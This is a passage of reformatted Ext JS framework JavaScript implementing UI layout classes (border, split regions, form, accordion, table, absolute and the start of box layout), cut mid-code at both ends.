Ext.layout.BorderLayout.WARN !== false) {\n        throw\"No center region defined in BorderLayout \" + g.id\n    }\n    if (y && y.isVisible()) {\n        H = y.getSize();\n        z = y.getMargins();\n        H.width = t - (z.left + z.right);\n        H.x = z.left;\n        H.y = z.top;\n        p = H.height + H.y + z.bottom;\n        A -= p;\n        y.applyLayout(H)\n    }\n    if (u && u.isVisible()) {\n        H = u.getSize();\n        z = u.getMargins();\n        H.width = t - (z.left + z.right);\n        H.x = z.left;\n        G = (H.height + z.top + z.bottom);\n        H.y = D - G + z.top;\n        A -= G;\n        u.applyLayout(H)\n    }\n    if (l && l.isVisible()) {\n        H = l.getSize();\n        z = l.getMargins();\n        H.height = A - (z.top + z.bottom);\n        H.x = z.left;\n        H.y = p + z.top;\n        d = (H.width + z.left + z.right);\n        q += d;\n        r -= d;\n        l.applyLayout(H)\n    }\n    if (E && E.isVisible()) {\n        H = E.getSize();\n        z = E.getMargins();\n        H.height = A - (z.top + z.bottom);\n        d = (H.width + z.left + z.right);\n        H.x = t - d + z.left;\n        H.y = p + z.top;\n        r -= d;\n        E.applyLayout(H)\n    }\n    if (F) {\n        z = F.getMargins();\n        var k = {x:q + z.left, y:p + z.top, width:r - (z.left + z.right), height:A - (z.top + z.bottom)};\n        F.applyLayout(k)\n    }\n    if (j) {\n        for (B = 0, C = j.length; B < C; B++) {\n            j[B].collapse(false)\n        }\n    }\n    if (Ext.isIE && Ext.isStrict) {\n        I.repaint()\n    }\n    if (B = I.getStyle(\"overflow\") && B != \"hidden\" && !this.adjustmentPass) {\n        var a = this.getLayoutTargetSize();\n        if (a.width != v.width || a.height != v.height) {\n            this.adjustmentPass = true;\n            this.onLayout(g, I)\n        }\n    }\n    delete this.adjustmentPass\n}, destroy:function () {\n    var b = [\"north\", \"south\", \"east\", \"west\"], a, c;\n    for (a = 0; a < b.length; a++) {\n        c = this[b[a]];\n        if (c) {\n            if (c.destroy) {\n                c.destroy()\n            } else {\n                if (c.split) {\n                    c.split.destroy(true)\n                }\n            }\n        }\n    }\n    Ext.layout.BorderLayout.superclass.destroy.call(this)\n}});\nExt.layout.BorderLayout.Region = function (b, a, c) {\n    Ext.apply(this, a);\n    this.layout = b;\n    this.position = c;\n    this.state = {};\n    if (typeof this.margins == \"string\") {\n        this.margins = this.layout.parseMargins(this.margins)\n    }\n    this.margins = Ext.applyIf(this.margins || {}, this.defaultMargins);\n    if (this.collapsible) {\n        if (typeof this.cmargins == \"string\") {\n            this.cmargins = this.layout.parseMargins(this.cmargins)\n        }\n        if (this.collapseMode == \"mini\" && !this.cmargins) {\n            this.cmargins = {left:0, top:0, right:0, bottom:0}\n        } else {\n            this.cmargins = Ext.applyIf(this.cmargins || {}, c == \"north\" || c == \"south\" ? this.defaultNSCMargins : this.defaultEWCMargins)\n        }\n    }\n};\nExt.layout.BorderLayout.Region.prototype = {collapsible:false, split:false, floatable:true, minWidth:50, minHeight:50, defaultMargins:{left:0, top:0, right:0, bottom:0}, defaultNSCMargins:{left:5, top:5, right:5, bottom:5}, defaultEWCMargins:{left:5, top:0, right:5, bottom:0}, floatingZIndex:100, isCollapsed:false, render:function (b, c) {\n    this.panel = c;\n    c.el.enableDisplayMode();\n    this.targetEl = b;\n    this.el = c.el;\n    var a = c.getState, d = this.position;\n    c.getState = function () {\n        return Ext.apply(a.call(c) || {}, this.state)\n    }.createDelegate(this);\n    if (d != \"center\") {\n        c.allowQueuedExpand = false;\n        c.on({beforecollapse:this.beforeCollapse, collapse:this.onCollapse, beforeexpand:this.beforeExpand, expand:this.onExpand, hide:this.onHide, show:this.onShow, scope:this});\n        if (this.collapsible || this.floatable) {\n            c.collapseEl = \"el\";\n            c.slideAnchor = this.getSlideAnchor()\n        }\n        if (c.tools && c.tools.toggle) {\n            c.tools.toggle.addClass(\"x-tool-collapse-\" + d);\n            c.tools.toggle.addClassOnOver(\"x-tool-collapse-\" + d + \"-over\")\n        }\n    }\n}, getCollapsedEl:function () {\n    if (!this.collapsedEl) {\n        if (!this.toolTemplate) {\n            var b = new Ext.Template('<div class=\"x-tool x-tool-{id}\">&#160;</div>');\n            b.disableFormats = true;\n            b.compile();\n            Ext.layout.BorderLayout.Region.prototype.toolTemplate = b\n        }\n        this.collapsedEl = this.targetEl.createChild({cls:\"x-layout-collapsed x-layout-collapsed-\" + this.position, id:this.panel.id + \"-xcollapsed\"});\n        this.collapsedEl.enableDisplayMode(\"block\");\n        if (this.collapseMode == \"mini\") {\n            this.collapsedEl.addClass(\"x-layout-cmini-\" + this.position);\n            this.miniCollapsedEl = this.collapsedEl.createChild({cls:\"x-layout-mini x-layout-mini-\" + this.position, html:\"&#160;\"});\n            this.miniCollapsedEl.addClassOnOver(\"x-layout-mini-over\");\n            this.collapsedEl.addClassOnOver(\"x-layout-collapsed-over\");\n            this.collapsedEl.on(\"click\", this.onExpandClick, this, {stopEvent:true})\n        } else {\n            if (this.collapsible !== false && !this.hideCollapseTool) {\n                var a = this.expandToolEl = this.toolTemplate.append(this.collapsedEl.dom, {id:\"expand-\" + this.position}, true);\n                a.addClassOnOver(\"x-tool-expand-\" + this.position + \"-over\");\n                a.on(\"click\", this.onExpandClick, this, {stopEvent:true})\n            }\n            if (this.floatable !== false || this.titleCollapse) {\n                this.collapsedEl.addClassOnOver(\"x-layout-collapsed-over\");\n                this.collapsedEl.on(\"click\", this[this.floatable ? \"collapseClick\" : \"onExpandClick\"], this)\n            }\n        }\n    }\n    return this.collapsedEl\n}, onExpandClick:function (a) {\n    if (this.isSlid) {\n        this.panel.expand(false)\n    } else {\n        this.panel.expand()\n    }\n}, onCollapseClick:function (a) {\n    this.panel.collapse()\n}, beforeCollapse:function (c, a) {\n    this.lastAnim = a;\n    if (this.splitEl) {\n        this.splitEl.hide()\n    }\n    this.getCollapsedEl().show();\n    var b = this.panel.getEl();\n    this.originalZIndex = b.getStyle(\"z-index\");\n    b.setStyle(\"z-index\", 100);\n    this.isCollapsed = true;\n    this.layout.layout()\n}, onCollapse:function (a) {\n    this.panel.el.setStyle(\"z-index\", 1);\n    if (this.lastAnim === false || this.panel.animCollapse === false) {\n        this.getCollapsedEl().dom.style.visibility = \"visible\"\n    } else {\n        this.getCollapsedEl().slideIn(this.panel.slideAnchor, {duration:0.2})\n    }\n    this.state.collapsed = true;\n    this.panel.saveState()\n}, beforeExpand:function (a) {\n    if (this.isSlid) {\n        this.afterSlideIn()\n    }\n    var b = this.getCollapsedEl();\n    this.el.show();\n    if (this.position == \"east\" || this.position == \"west\") {\n        this.panel.setSize(undefined, b.getHeight())\n    } else {\n        this.panel.setSize(b.getWidth(), undefined)\n    }\n    b.hide();\n    b.dom.style.visibility = \"hidden\";\n    this.panel.el.setStyle(\"z-index\", this.floatingZIndex)\n}, onExpand:function () {\n    this.isCollapsed = false;\n    if (this.splitEl) {\n        this.splitEl.show()\n    }\n    this.layout.layout();\n    this.panel.el.setStyle(\"z-index\", this.originalZIndex);\n    this.state.collapsed = false;\n    this.panel.saveState()\n}, collapseClick:function (a) {\n    if (this.isSlid) {\n        a.stopPropagation();\n        this.slideIn()\n    } else {\n        a.stopPropagation();\n        this.slideOut()\n    }\n}, onHide:function () {\n    if (this.isCollapsed) {\n        this.getCollapsedEl().hide()\n    } else {\n        if (this.splitEl) {\n            this.splitEl.hide()\n        }\n    }\n}, onShow:function () {\n    if (this.isCollapsed) {\n        this.getCollapsedEl().show()\n    } else {\n        if (this.splitEl) {\n            this.splitEl.show()\n        }\n    }\n}, isVisible:function () {\n    return !this.panel.hidden\n}, getMargins:function () {\n    return this.isCollapsed && this.cmargins ? this.cmargins : this.margins\n}, getSize:function () {\n    return this.isCollapsed ? this.getCollapsedEl().getSize() : this.panel.getSize()\n}, setPanel:function (a) {\n    this.panel = a\n}, getMinWidth:function () {\n    return this.minWidth\n}, getMinHeight:function () {\n    return this.minHeight\n}, applyLayoutCollapsed:function (a) {\n    var b = this.getCollapsedEl();\n    b.setLeftTop(a.x, a.y);\n    b.setSize(a.width, a.height)\n}, applyLayout:function (a) {\n    if (this.isCollapsed) {\n        this.applyLayoutCollapsed(a)\n    } else {\n        this.panel.setPosition(a.x, a.y);\n        this.panel.setSize(a.width, a.height)\n    }\n}, beforeSlide:function () {\n    this.panel.beforeEffect()\n}, afterSlide:function () {\n    this.panel.afterEffect()\n}, initAutoHide:function () {\n    if (this.autoHide !== false) {\n        if (!this.autoHideHd) {\n            this.autoHideSlideTask = new Ext.util.DelayedTask(this.slideIn, this);\n            this.autoHideHd = {mouseout:function (a) {\n                if (!a.within(this.el, true)) {\n                    this.autoHideSlideTask.delay(500)\n                }\n            }, mouseover:function (a) {\n                this.autoHideSlideTask.cancel()\n            }, scope:this}\n        }\n        this.el.on(this.autoHideHd);\n        this.collapsedEl.on(this.autoHideHd)\n    }\n}, clearAutoHide:function () {\n    if (this.autoHide !== false) {\n        this.el.un(\"mouseout\", this.autoHideHd.mouseout);\n        this.el.un(\"mouseover\", this.autoHideHd.mouseover);\n        this.collapsedEl.un(\"mouseout\", this.autoHideHd.mouseout);\n        this.collapsedEl.un(\"mouseover\", this.autoHideHd.mouseover)\n    }\n}, clearMonitor:function () {\n    Ext.getDoc().un(\"click\", this.slideInIf, this)\n}, slideOut:function () {\n    if (this.isSlid || this.el.hasActiveFx()) {\n        return\n    }\n    this.isSlid = true;\n    var b = this.panel.tools, c, a;\n    if (b && b.toggle) {\n        b.toggle.hide()\n    }\n    this.el.show();\n    a = this.panel.collapsed;\n    this.panel.collapsed = false;\n    if (this.position == \"east\" || this.position == \"west\") {\n        c = this.panel.deferHeight;\n        this.panel.deferHeight = false;\n        this.panel.setSize(undefined, this.collapsedEl.getHeight());\n        this.panel.deferHeight = c\n    } else {\n        this.panel.setSize(this.collapsedEl.getWidth(), undefined)\n    }\n    this.panel.collapsed = a;\n    this.restoreLT = [this.el.dom.style.left, this.el.dom.style.top];\n    this.el.alignTo(this.collapsedEl, this.getCollapseAnchor());\n    this.el.setStyle(\"z-index\", this.floatingZIndex + 2);\n    this.panel.el.replaceClass(\"x-panel-collapsed\", \"x-panel-floating\");\n    if (this.animFloat !== false) {\n        this.beforeSlide();\n        this.el.slideIn(this.getSlideAnchor(), {callback:function () {\n            this.afterSlide();\n            this.initAutoHide();\n            Ext.getDoc().on(\"click\", this.slideInIf, this)\n        }, scope:this, block:true})\n    } else {\n        this.initAutoHide();\n        Ext.getDoc().on(\"click\", this.slideInIf, this)\n    }\n}, afterSlideIn:function () {\n    this.clearAutoHide();\n    this.isSlid = false;\n    this.clearMonitor();\n    this.el.setStyle(\"z-index\", \"\");\n    this.panel.el.replaceClass(\"x-panel-floating\", \"x-panel-collapsed\");\n    this.el.dom.style.left = this.restoreLT[0];\n    this.el.dom.style.top = this.restoreLT[1];\n    var a = this.panel.tools;\n    if (a && a.toggle) {\n        a.toggle.show()\n    }\n}, slideIn:function (a) {\n    if (!this.isSlid || this.el.hasActiveFx()) {\n        Ext.callback(a);\n        return\n    }\n    this.isSlid = false;\n    if (this.animFloat !== false) {\n        this.beforeSlide();\n        this.el.slideOut(this.getSlideAnchor(), {callback:function () {\n            this.el.hide();\n            this.afterSlide();\n            this.afterSlideIn();\n            Ext.callback(a)\n        }, scope:this, block:true})\n    } else {\n        this.el.hide();\n        this.afterSlideIn()\n    }\n}, slideInIf:function (a) {\n    if (!a.within(this.el)) {\n        this.slideIn()\n    }\n}, anchors:{west:\"left\", east:\"right\", north:\"top\", south:\"bottom\"}, sanchors:{west:\"l\", east:\"r\", north:\"t\", south:\"b\"}, canchors:{west:\"tl-tr\", east:\"tr-tl\", north:\"tl-bl\", south:\"bl-tl\"}, getAnchor:function () {\n    return this.anchors[this.position]\n}, getCollapseAnchor:function () {\n    return this.canchors[this.position]\n}, getSlideAnchor:function () {\n    return this.sanchors[this.position]\n}, getAlignAdj:function () {\n    var a = this.cmargins;\n    switch (this.position) {\n        case\"west\":\n            return[0, 0];\n            break;\n        case\"east\":\n            return[0, 0];\n            break;\n        case\"north\":\n            return[0, 0];\n            break;\n        case\"south\":\n            return[0, 0];\n            break\n    }\n}, getExpandAdj:function () {\n    var b = this.collapsedEl, a = this.cmargins;\n    switch (this.position) {\n        case\"west\":\n            return[-(a.right + b.getWidth() + a.left), 0];\n            break;\n        case\"east\":\n            return[a.right + b.getWidth() + a.left, 0];\n            break;\n        case\"north\":\n            return[0, -(a.top + a.bottom + b.getHeight())];\n            break;\n        case\"south\":\n            return[0, a.top + a.bottom + b.getHeight()];\n            break\n    }\n}, destroy:function () {\n    if (this.autoHideSlideTask && this.autoHideSlideTask.cancel) {\n        this.autoHideSlideTask.cancel()\n    }\n    Ext.destroyMembers(this, \"miniCollapsedEl\", \"collapsedEl\", \"expandToolEl\")\n}};\nExt.layout.BorderLayout.SplitRegion = function (b, a, c) {\n    Ext.layout.BorderLayout.SplitRegion.superclass.constructor.call(this, b, a, c);\n    this.applyLayout = this.applyFns[c]\n};\nExt.extend(Ext.layout.BorderLayout.SplitRegion, Ext.layout.BorderLayout.Region, {splitTip:\"Drag to resize.\", collapsibleSplitTip:\"Drag to resize. Double click to hide.\", useSplitTips:false, splitSettings:{north:{orientation:Ext.SplitBar.VERTICAL, placement:Ext.SplitBar.TOP, maxFn:\"getVMaxSize\", minProp:\"minHeight\", maxProp:\"maxHeight\"}, south:{orientation:Ext.SplitBar.VERTICAL, placement:Ext.SplitBar.BOTTOM, maxFn:\"getVMaxSize\", minProp:\"minHeight\", maxProp:\"maxHeight\"}, east:{orientation:Ext.SplitBar.HORIZONTAL, placement:Ext.SplitBar.RIGHT, maxFn:\"getHMaxSize\", minProp:\"minWidth\", maxProp:\"maxWidth\"}, west:{orientation:Ext.SplitBar.HORIZONTAL, placement:Ext.SplitBar.LEFT, maxFn:\"getHMaxSize\", minProp:\"minWidth\", maxProp:\"maxWidth\"}}, applyFns:{west:function (c) {\n    if (this.isCollapsed) {\n        return this.applyLayoutCollapsed(c)\n    }\n    var d = this.splitEl.dom, b = d.style;\n    this.panel.setPosition(c.x, c.y);\n    var a = d.offsetWidth;\n    b.left = (c.x + c.width - a) + \"px\";\n    b.top = (c.y) + \"px\";\n    b.height = Math.max(0, c.height) + \"px\";\n    this.panel.setSize(c.width - a, c.height)\n}, east:function (c) {\n    if (this.isCollapsed) {\n        return this.applyLayoutCollapsed(c)\n    }\n    var d = this.splitEl.dom, b = d.style;\n    var a = d.offsetWidth;\n    this.panel.setPosition(c.x + a, c.y);\n    b.left = (c.x) + \"px\";\n    b.top = (c.y) + \"px\";\n    b.height = Math.max(0, c.height) + \"px\";\n    this.panel.setSize(c.width - a, c.height)\n}, north:function (c) {\n    if (this.isCollapsed) {\n        return this.applyLayoutCollapsed(c)\n    }\n    var d = this.splitEl.dom, b = d.style;\n    var a = d.offsetHeight;\n    this.panel.setPosition(c.x, c.y);\n    b.left = (c.x) + \"px\";\n    b.top = (c.y + c.height - a) + \"px\";\n    b.width = Math.max(0, c.width) + \"px\";\n    this.panel.setSize(c.width, c.height - a)\n}, south:function (c) {\n    if (this.isCollapsed) {\n        return this.applyLayoutCollapsed(c)\n    }\n    var d = this.splitEl.dom, b = d.style;\n    var a = d.offsetHeight;\n    this.panel.setPosition(c.x, c.y + a);\n    b.left = (c.x) + \"px\";\n    b.top = (c.y) + \"px\";\n    b.width = Math.max(0, c.width) + \"px\";\n    this.panel.setSize(c.width, c.height - a)\n}}, render:function (a, c) {\n    Ext.layout.BorderLayout.SplitRegion.superclass.render.call(this, a, c);\n    var d = this.position;\n    this.splitEl = a.createChild({cls:\"x-layout-split x-layout-split-\" + d, html:\"&#160;\", id:this.panel.id + \"-xsplit\"});\n    if (this.collapseMode == \"mini\") {\n        this.miniSplitEl = this.splitEl.createChild({cls:\"x-layout-mini x-layout-mini-\" + d, html:\"&#160;\"});\n        this.miniSplitEl.addClassOnOver(\"x-layout-mini-over\");\n        this.miniSplitEl.on(\"click\", this.onCollapseClick, this, {stopEvent:true})\n    }\n    var b = this.splitSettings[d];\n    this.split = new Ext.SplitBar(this.splitEl.dom, c.el, b.orientation);\n    this.split.tickSize = this.tickSize;\n    this.split.placement = b.placement;\n    this.split.getMaximumSize = this[b.maxFn].createDelegate(this);\n    this.split.minSize = this.minSize || this[b.minProp];\n    this.split.on(\"beforeapply\", this.onSplitMove, this);\n    this.split.useShim = this.useShim === true;\n    this.maxSize = this.maxSize || this[b.maxProp];\n    if (c.hidden) {\n        this.splitEl.hide()\n    }\n    if (this.useSplitTips) {\n        this.splitEl.dom.title = this.collapsible ? this.collapsibleSplitTip : this.splitTip\n    }\n    if (this.collapsible) {\n        this.splitEl.on(\"dblclick\", this.onCollapseClick, this)\n    }\n}, getSize:function () {\n    if (this.isCollapsed) {\n        return this.collapsedEl.getSize()\n    }\n    var a = this.panel.getSize();\n    if (this.position == \"north\" || this.position == \"south\") {\n        a.height += this.splitEl.dom.offsetHeight\n    } else {\n        a.width += this.splitEl.dom.offsetWidth\n    }\n    return a\n}, getHMaxSize:function () {\n    var b = this.maxSize || 10000;\n    var a = this.layout.center;\n    return Math.min(b, (this.el.getWidth() + a.el.getWidth()) - a.getMinWidth())\n}, getVMaxSize:function () {\n    var b = this.maxSize || 10000;\n    var a = this.layout.center;\n    return Math.min(b, (this.el.getHeight() + a.el.getHeight()) - a.getMinHeight())\n}, onSplitMove:function (b, a) {\n    var c = this.panel.getSize();\n    this.lastSplitSize = a;\n    if (this.position == \"north\" || this.position == \"south\") {\n        this.panel.setSize(c.width, a);\n        this.state.height = a\n    } else {\n        this.panel.setSize(a, c.height);\n        this.state.width = a\n    }\n    this.layout.layout();\n    this.panel.saveState();\n    return false\n}, getSplitBar:function () {\n    return this.split\n}, destroy:function () {\n    Ext.destroy(this.miniSplitEl, this.split, this.splitEl);\n    Ext.layout.BorderLayout.SplitRegion.superclass.destroy.call(this)\n}});\nExt.Container.LAYOUTS.border = Ext.layout.BorderLayout;\nExt.layout.FormLayout = Ext.extend(Ext.layout.AnchorLayout, {labelSeparator:\":\", trackLabels:true, type:\"form\", onRemove:function (d) {\n    Ext.layout.FormLayout.superclass.onRemove.call(this, d);\n    if (this.trackLabels) {\n        d.un(\"show\", this.onFieldShow, this);\n        d.un(\"hide\", this.onFieldHide, this)\n    }\n    var b = d.getPositionEl(), a = d.getItemCt && d.getItemCt();\n    if (d.rendered && a) {\n        if (b && b.dom) {\n            b.insertAfter(a)\n        }\n        Ext.destroy(a);\n        Ext.destroyMembers(d, \"label\", \"itemCt\");\n        if (d.customItemCt) {\n            Ext.destroyMembers(d, \"getItemCt\", \"customItemCt\")\n        }\n    }\n}, setContainer:function (a) {\n    Ext.layout.FormLayout.superclass.setContainer.call(this, a);\n    if (a.labelAlign) {\n        a.addClass(\"x-form-label-\" + a.labelAlign)\n    }\n    if (a.hideLabels) {\n        Ext.apply(this, {labelStyle:\"display:none\", elementStyle:\"padding-left:0;\", labelAdjust:0})\n    } else {\n        this.labelSeparator = Ext.isDefined(a.labelSeparator) ? a.labelSeparator : this.labelSeparator;\n        a.labelWidth = a.labelWidth || 100;\n        if (Ext.isNumber(a.labelWidth)) {\n            var b = Ext.isNumber(a.labelPad) ? a.labelPad : 5;\n            Ext.apply(this, {labelAdjust:a.labelWidth + b, labelStyle:\"width:\" + a.labelWidth + \"px;\", elementStyle:\"padding-left:\" + (a.labelWidth + b) + \"px\"})\n        }\n        if (a.labelAlign == \"top\") {\n            Ext.apply(this, {labelStyle:\"width:auto;\", labelAdjust:0, elementStyle:\"padding-left:0;\"})\n        }\n    }\n}, isHide:function (a) {\n    return a.hideLabel || this.container.hideLabels\n}, onFieldShow:function (a) {\n    a.getItemCt().removeClass(\"x-hide-\" + a.hideMode);\n    if (a.isComposite) {\n        a.doLayout()\n    }\n}, onFieldHide:function (a) {\n    a.getItemCt().addClass(\"x-hide-\" + a.hideMode)\n}, getLabelStyle:function (e) {\n    var b = \"\", c = [this.labelStyle, e];\n    for (var d = 0, a = c.length; d < a; ++d) {\n        if (c[d]) {\n            b += c[d];\n            if (b.substr(-1, 1) != \";\") {\n                b += \";\"\n            }\n        }\n    }\n    return b\n}, renderItem:function (e, a, d) {\n    if (e && (e.isFormField || e.fieldLabel) && e.inputType != \"hidden\") {\n        var b = this.getTemplateArgs(e);\n        if (Ext.isNumber(a)) {\n            a = d.dom.childNodes[a] || null\n        }\n        if (a) {\n            e.itemCt = this.fieldTpl.insertBefore(a, b, true)\n        } else {\n            e.itemCt = this.fieldTpl.append(d, b, true)\n        }\n        if (!e.getItemCt) {\n            Ext.apply(e, {getItemCt:function () {\n                return e.itemCt\n            }, customItemCt:true})\n        }\n        e.label = e.getItemCt().child(\"label.x-form-item-label\");\n        if (!e.rendered) {\n            e.render(\"x-form-el-\" + e.id)\n        } else {\n            if (!this.isValidParent(e, d)) {\n                Ext.fly(\"x-form-el-\" + e.id).appendChild(e.getPositionEl())\n            }\n        }\n        if (this.trackLabels) {\n            if (e.hidden) {\n                this.onFieldHide(e)\n            }\n            e.on({scope:this, show:this.onFieldShow, hide:this.onFieldHide})\n        }\n        this.configureItem(e)\n    } else {\n        Ext.layout.FormLayout.superclass.renderItem.apply(this, arguments)\n    }\n}, getTemplateArgs:function (c) {\n    var a = !c.fieldLabel || c.hideLabel, b = (c.itemCls || this.container.itemCls || \"\") + (c.hideLabel ? \" x-hide-label\" : \"\");\n    if (Ext.isIE9 && Ext.isIEQuirks && c instanceof Ext.form.TextField) {\n        b += \" x-input-wrapper\"\n    }\n    return{id:c.id, label:c.fieldLabel, itemCls:b, clearCls:c.clearCls || \"x-form-clear-left\", labelStyle:this.getLabelStyle(c.labelStyle), elementStyle:this.elementStyle || \"\", labelSeparator:a ? \"\" : (Ext.isDefined(c.labelSeparator) ? c.labelSeparator : this.labelSeparator)}\n}, adjustWidthAnchor:function (a, d) {\n    if (d.label && !this.isHide(d) && (this.container.labelAlign != \"top\")) {\n        var b = Ext.isIE6 || (Ext.isIE && !Ext.isStrict);\n        return a - this.labelAdjust + (b ? -3 : 0)\n    }\n    return a\n}, adjustHeightAnchor:function (a, b) {\n    if (b.label && !this.isHide(b) && (this.container.labelAlign == \"top\")) {\n        return a - b.label.getHeight()\n    }\n    return a\n}, isValidParent:function (b, a) {\n    return a && this.container.getEl().contains(b.getPositionEl())\n}});\nExt.Container.LAYOUTS.form = Ext.layout.FormLayout;\nExt.layout.AccordionLayout = Ext.extend(Ext.layout.FitLayout, {fill:true, autoWidth:true, titleCollapse:true, hideCollapseTool:false, collapseFirst:false, animate:false, sequence:false, activeOnTop:false, type:\"accordion\", renderItem:function (a) {\n    if (this.animate === false) {\n        a.animCollapse = false\n    }\n    a.collapsible = true;\n    if (this.autoWidth) {\n        a.autoWidth = true\n    }\n    if (this.titleCollapse) {\n        a.titleCollapse = true\n    }\n    if (this.hideCollapseTool) {\n        a.hideCollapseTool = true\n    }\n    if (this.collapseFirst !== undefined) {\n        a.collapseFirst = this.collapseFirst\n    }\n    if (!this.activeItem && !a.collapsed) {\n        this.setActiveItem(a, true)\n    } else {\n        if (this.activeItem && this.activeItem != a) {\n            a.collapsed = true\n        }\n    }\n    Ext.layout.AccordionLayout.superclass.renderItem.apply(this, arguments);\n    a.header.addClass(\"x-accordion-hd\");\n    a.on(\"beforeexpand\", this.beforeExpand, this)\n}, onRemove:function (a) {\n    Ext.layout.AccordionLayout.superclass.onRemove.call(this, a);\n    if (a.rendered) {\n        a.header.removeClass(\"x-accordion-hd\")\n    }\n    a.un(\"beforeexpand\", this.beforeExpand, this)\n}, beforeExpand:function (c, b) {\n    var a = this.activeItem;\n    if (a) {\n        if (this.sequence) {\n            delete this.activeItem;\n            if (!a.collapsed) {\n                a.collapse({callback:function () {\n                    c.expand(b || true)\n                }, scope:this});\n                return false\n            }\n        } else {\n            a.collapse(this.animate)\n        }\n    }\n    this.setActive(c);\n    if (this.activeOnTop) {\n        c.el.dom.parentNode.insertBefore(c.el.dom, c.el.dom.parentNode.firstChild)\n    }\n    this.layout()\n}, setItemSize:function (g, e) {\n    if (this.fill && g) {\n        var d = 0, c, b = this.getRenderedItems(this.container), a = b.length, h;\n        for (c = 0; c < a; c++) {\n            if ((h = b[c]) != g && !h.hidden) {\n                d += h.header.getHeight()\n            }\n        }\n        e.height -= d;\n        g.setSize(e)\n    }\n}, setActiveItem:function (a) {\n    this.setActive(a, true)\n}, setActive:function (c, b) {\n    var a = this.activeItem;\n    c = this.container.getComponent(c);\n    if (a != c) {\n        if (c.rendered && c.collapsed && b) {\n            c.expand()\n        } else {\n            if (a) {\n                a.fireEvent(\"deactivate\", a)\n            }\n            this.activeItem = c;\n            c.fireEvent(\"activate\", c)\n        }\n    }\n}});\nExt.Container.LAYOUTS.accordion = Ext.layout.AccordionLayout;\nExt.layout.Accordion = Ext.layout.AccordionLayout;\nExt.layout.TableLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:false, type:\"table\", targetCls:\"x-table-layout-ct\", tableAttrs:null, setContainer:function (a) {\n    Ext.layout.TableLayout.superclass.setContainer.call(this, a);\n    this.currentRow = 0;\n    this.currentColumn = 0;\n    this.cells = []\n}, onLayout:function (d, g) {\n    var e = d.items.items, a = e.length, h, b;\n    if (!this.table) {\n        g.addClass(\"x-table-layout-ct\");\n        this.table = g.createChild(Ext.apply({tag:\"table\", cls:\"x-table-layout\", cellspacing:0, cn:{tag:\"tbody\"}}, this.tableAttrs), null, true)\n    }\n    this.renderAll(d, g)\n}, getRow:function (a) {\n    var b = this.table.tBodies[0].childNodes[a];\n    if (!b) {\n        b = document.createElement(\"tr\");\n        this.table.tBodies[0].appendChild(b)\n    }\n    return b\n}, getNextCell:function (j) {\n    var a = this.getNextNonSpan(this.currentColumn, this.currentRow);\n    var g = this.currentColumn = a[0], e = this.currentRow = a[1];\n    for (var i = e; i < e + (j.rowspan || 1); i++) {\n        if (!this.cells[i]) {\n            this.cells[i] = []\n        }\n        for (var d = g; d < g + (j.colspan || 1); d++) {\n            this.cells[i][d] = true\n        }\n    }\n    var h = document.createElement(\"td\");\n    if (j.cellId) {\n        h.id = j.cellId\n    }\n    var b = \"x-table-layout-cell\";\n    if (j.cellCls) {\n        b += \" \" + j.cellCls\n    }\n    h.className = b;\n    if (j.colspan) {\n        h.colSpan = j.colspan\n    }\n    if (j.rowspan) {\n        h.rowSpan = j.rowspan\n    }\n    this.getRow(e).appendChild(h);\n    return h\n}, getNextNonSpan:function (a, c) {\n    var b = this.columns;\n    while ((b && a >= b) || (this.cells[c] && this.cells[c][a])) {\n        if (b && a >= b) {\n            c++;\n            a = 0\n        } else {\n            a++\n        }\n    }\n    return[a, c]\n}, renderItem:function (e, a, d) {\n    if (!this.table) {\n        this.table = d.createChild(Ext.apply({tag:\"table\", cls:\"x-table-layout\", cellspacing:0, cn:{tag:\"tbody\"}}, this.tableAttrs), null, true)\n    }\n    if (e && !e.rendered) {\n        e.render(this.getNextCell(e));\n        this.configureItem(e)\n    } else {\n        if (e && !this.isValidParent(e, d)) {\n            var b = this.getNextCell(e);\n            b.insertBefore(e.getPositionEl().dom, null);\n            e.container = Ext.get(b);\n            this.configureItem(e)\n        }\n    }\n}, isValidParent:function (b, a) {\n    return b.getPositionEl().up(\"table\", 5).dom.parentNode === (a.dom || a)\n}, destroy:function () {\n    delete this.table;\n    Ext.layout.TableLayout.superclass.destroy.call(this)\n}});\nExt.Container.LAYOUTS.table = Ext.layout.TableLayout;\nExt.layout.AbsoluteLayout = Ext.extend(Ext.layout.AnchorLayout, {extraCls:\"x-abs-layout-item\", type:\"absolute\", onLayout:function (a, b) {\n    b.position();\n    this.paddingLeft = b.getPadding(\"l\");\n    this.paddingTop = b.getPadding(\"t\");\n    Ext.layout.AbsoluteLayout.superclass.onLayout.call(this, a, b)\n}, adjustWidthAnchor:function (b, a) {\n    return b ? b - a.getPosition(true)[0] + this.paddingLeft : b\n}, adjustHeightAnchor:function (b, a) {\n    return b ? b - a.getPosition(true)[1] + this.paddingTop : b\n}});\nExt.Container.LAYOUTS.absolute = Ext.layout.AbsoluteLayout;\nExt.layout.BoxLayout = Ext.extend(Ext.layout.ContainerLayout, {defaultMargins:{left:0, top:0, right:0, bottom:0}, padding:\"0\", pack:\"start\", monitorResize:true, type:\"box\", scrollOffset:0, extraCls:\"x-box-item\", targetCls:\"x-box-layout-ct\", innerCls:\"x-box-inner\", constructor:function (a) {\n    Ext.layout.BoxLayout.superclass.constructor.call(this, a);\n    if (Ext.isString(this.defaultMargins)) {\n        this.defaultMargins = this.parseMargins(this.defaultMargins)\n    }\n    var d = this.overflowHandler;\n    if (typeof d == \"string\") {\n        d = {type:d}\n    }\n    var c = \"none\";\n    if (d && d.type != undefined) {\n        c = d.type\n    }\n    var b = Ext.layout.boxOverflow[c];\n    if (b[this.type]) {\n        b = b[this.type]\n    }\n    this.overflowHandler = new b(this, d)\n}, onLayout:function (b, h) {\n    Ext.layout.BoxLayout.superclass.onLayout.call(this, b, h);\n    var d = this.getLayoutTargetSize(), i = this.getVisibleItems(b), c = this.calculateChildBoxes(i, d), g = c.boxes, j = c.meta;\n    if (d.width > 0) {\n        var k = this.overflowHandler, a = j.tooNarrow ? \"handleOverflow\" : \"clearOverflow\";\n        var e = k[a](c, d);\n        if (e) {\n            if (e.targetSize) {\n                d = e.targetSize\n            }\n            if (e.recalculate) {\n                i = this.getVisibleItems(b);\n                c = this.calculateChildBoxes(i, d);\n                g = c.boxes\n            }\n        }\n    }\n    this.layoutTargetLastSize = d;\n    this.childBoxCache = c;\n    this.updateInnerCtSize(d, c);\n    this.updateChildBoxes(g);\n    this.handleTargetOverflow(d, b, h)\n}, updateChildBoxes:function (c) {\n    for (var b = 0, e = c.length; b < e; b++) {\n        var d = c[b], a = d.component;\n        if (d.dirtySize) 